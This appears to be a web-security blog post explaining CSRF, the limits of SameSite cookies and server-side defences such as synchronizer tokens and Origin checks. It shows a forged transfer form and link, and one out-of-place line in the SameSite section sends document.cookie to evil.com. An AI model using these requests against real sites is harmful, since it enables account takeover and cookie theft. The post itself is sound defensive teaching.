For about fifteen years, CSRF was the bug everyone had to explain to every new developer. Then browsers changed a default, and a large part of the problem quietly disappeared.
That change is real. It is also routinely over-read into "CSRF is dead", which is how teams end up shipping the specific configurations that still break.
The attack, briefly
Your user is logged into bank.example. They open an unrelated page which contains:
<form action="https://bank.example/transfer" method="POST" id="f">
<input name="to" value="attacker">
<input name="amount" value="5000">
</form>
<script>document.getElementById("f").submit()</script>The browser sends the POST and — this is the whole trick — attaches the session cookie for bank.example, because that is what browsers do with cookies. The server sees a properly authenticated request from a real, logged-in user and processes the transfer.
The attacker never reads the response. The same-origin policy stops that, and it doesn't matter: they wanted the side effect, not the reply.
Two consequences follow that people frequently get wrong:
- CSRF only affects state-changing requests. If a
GETmerely reads data, forging it accomplishes nothing, since the attacker can't see what came back. If yourGETchanges state, that's a separate bug you should fix first. - Checking that the user is logged in is not a defense. The user is logged in. That's the premise of the attack, not a mitigation.
What SameSite actually changed
SameSite tells the browser whether to attach a cookie to requests that originate from a different site.
| Value | Attached on cross-site requests? |
|---|---|
Strict | Never |
Lax | Only on top-level GET navigations |
None | Always — requires Secure |
Chrome began rolling Lax out as the default for cookies with no explicit SameSite in 2020, and the other major browsers followed. So the classic cross-site POST above now arrives at your server without the session cookie, and fails on its own.
fetch("https://evil.com/steal?c=" + document.cookie)That is a genuine, enormous improvement. It is not the same as the class being closed.
What SameSite=Lax still lets through
Top-level GET navigations. Lax deliberately permits cookies on a normal link click, because breaking that would break the web. So if any state-changing endpoint responds to GET, a plain <a href> or a redirect still carries the session:
<!-- Still works under SameSite=Lax if the endpoint accepts GET -->
<a href="https://bank.example/transfer?to=attacker&amount=5000">Free stuff</a>Never let GET change state. This has always been the rule; Lax made it load-bearing.
Subdomains are same-site. SameSite operates on the registrable domain, not the origin. evil.bank.example is same-site with bank.example, so a request from a compromised, forgotten, or dangling subdomain carries cookies normally. If you have ever pointed a CNAME at a cloud provider and stopped using it, this matters to you — a subdomain takeover converts directly into full CSRF.
Anything you set to None. Embedded widgets, third-party SSO flows, iframes, and some payment integrations require SameSite=None. Every cookie you mark that way opts out of the entire protection, and the classic attack works against it exactly as it did in 2015.
Non-browser clients. SameSite is enforced by browsers. It has no bearing on anything else that speaks HTTP.
Older or unusual browsers. Shrinking as a concern, but a control you cannot verify server-side is not a control you should rely on alone.
Defend on the server, treat SameSite as depth
The rule of thumb: SameSite is an excellent second layer and a poor only layer, because you cannot verify from the server that it was honoured.
Synchronizer tokens
The default answer for cookie-authenticated apps that render HTML. Generate a random token, store it against the session, embed it in every state-changing form, and reject anything that doesn't match:
// Issue with the form
const csrf = crypto.randomBytes(32).toString("base64url");
req.session.csrf = csrf;
// Verify on submit — constant-time, to avoid leaking the token bytewise
const ok =
typeof req.body.csrf === "string" &&
req.body.csrf.length === req.session.csrf.length &&
crypto.timingSafeEqual(Buffer.from(req.body.csrf), Buffer.from(req.session.csrf));
if (!ok) return res.sendStatus(403);The attacker's page cannot read the token — that would require reading a response from your origin, which the same-origin policy forbids. That is the security property doing the work.
Double-submit cookies
If you don't want server-side state, send the same random value as a cookie and as a header, and compare them. Your JavaScript can read your own cookie and set the header; an attacker's page cannot read yours.
The trade-off is real and worth stating plainly: double-submit only compares two attacker-invisible values. If an attacker can write a cookie on your domain — again, a subdomain takeover is the usual route — they can set both halves and the check passes. Prefer synchronizer tokens when you can hold session state, and if you use double-submit, sign the value against the session so a planted cookie fails.
Check Origin
Origin is sent on all cross-origin requests and on same-origin POSTs, and — unlike a form field — it cannot be forged by page-level JavaScript:
const ALLOWED = new Set(["https://bank.example"]);
if (!ALLOWED.has(req.headers.origin)) return res.sendStatus(403);Cheap, and a good belt-and-braces check. Handle the absent-header case deliberately rather than defaulting to allow, and never reflect the received value back into Access-Control-Allow-Origin — that turns a CSRF defense into a CORS vulnerability.
A short checklist
- No
GETendpoint changes state. Fix these before anything else. - Session cookies are
HttpOnly,Secure, andSameSite=LaxorStrict. - Every state-changing route requires a CSRF token, verified in constant time.
Originis validated against an allowlist, and a missing header is treated as a failure.- You know precisely which cookies are
SameSite=Noneand why. - Subdomains are inventoried, and dangling DNS records are removed — they are same-site with you.
Try it
The simulation below is a working vulnerable transfer endpoint and an attacker page. Fire the forged request, watch the money move, then turn on each defense in turn and watch exactly which ones stop it — including the case where SameSite=Lax doesn't.
Frequently Asked Questions
Related posts
Race Conditions in Web Apps: When Two Requests Beat Your Check
Check-then-act logic that looks correct on paper breaks when two requests run at once. Here's how TOCTOU race conditions drain balances and reuse one-time codes, and how atomic operations and locks fix them.
Aug 11, 2026 · 7 min readMass Assignment: How role=admin Ends Up in Your Update
Mass assignment lets an attacker set fields you never meant to expose — like isAdmin or accountBalance — by adding them to a request body. Here's why binding whole objects is dangerous and how to allowlist fields in Node, Rails, and Django.
Aug 10, 2026 · 6 min readInsecure Deserialization: How Loading Data Becomes Running Code
Deserializing untrusted data can execute code before your app reads a single field. Here's how gadget chains work in Python pickle, Java, PHP, and Node, and why JSON with a schema is the fix.
Aug 9, 2026 · 7 min read